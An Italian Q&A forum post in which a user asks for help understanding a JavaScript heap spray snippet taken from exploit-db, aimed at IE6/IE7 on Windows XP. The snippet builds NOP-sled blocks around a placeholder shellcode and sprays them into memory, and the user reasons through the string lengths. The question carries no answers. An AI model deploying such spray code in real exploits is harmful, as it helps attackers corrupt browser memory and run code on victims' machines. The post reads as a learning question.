Come capire questo codice javascript spray heap

1

Questo è il codice usato nell'heap spray su ie6, ie7, Windows XP, trovato in exploit-db.

<script >

var shellcode = unescape('%u41%u41');

var bigblock = unescape('%u90%u90');

var headersize = 20;

var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace) bigblock += bigblock;

var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length - slackspace);

while (block.length + slackspace < 0x40000) block = block + block + fillblock;

var memory = new Array();

for (i = 0; i < 500; i++){ memory[i] = block + shellcode }

</script>

Ho alcune domande su questo codice.Penso che il valore della variabile slackspace sia 22, e la riga successiva, terminando l'esecuzione del ciclo, la lunghezza di bigblock è 22 con in realtà 44 byte di 0x90 . Poi , riga successiva, la lunghezza di fillblock è 11 e il suo contenuto è 22 byte di 0x90 . Di seguito, la lunghezza di block è 0? La variabile block è una variabile stringa con la lunghezza di 0? E come capire la seguente parte di codice? Qualcuno mi dice come capire il codice?

    
posta freedom2 21.02.2017 - 15:23
fonte

0 risposte

Leggi altre domande sui tag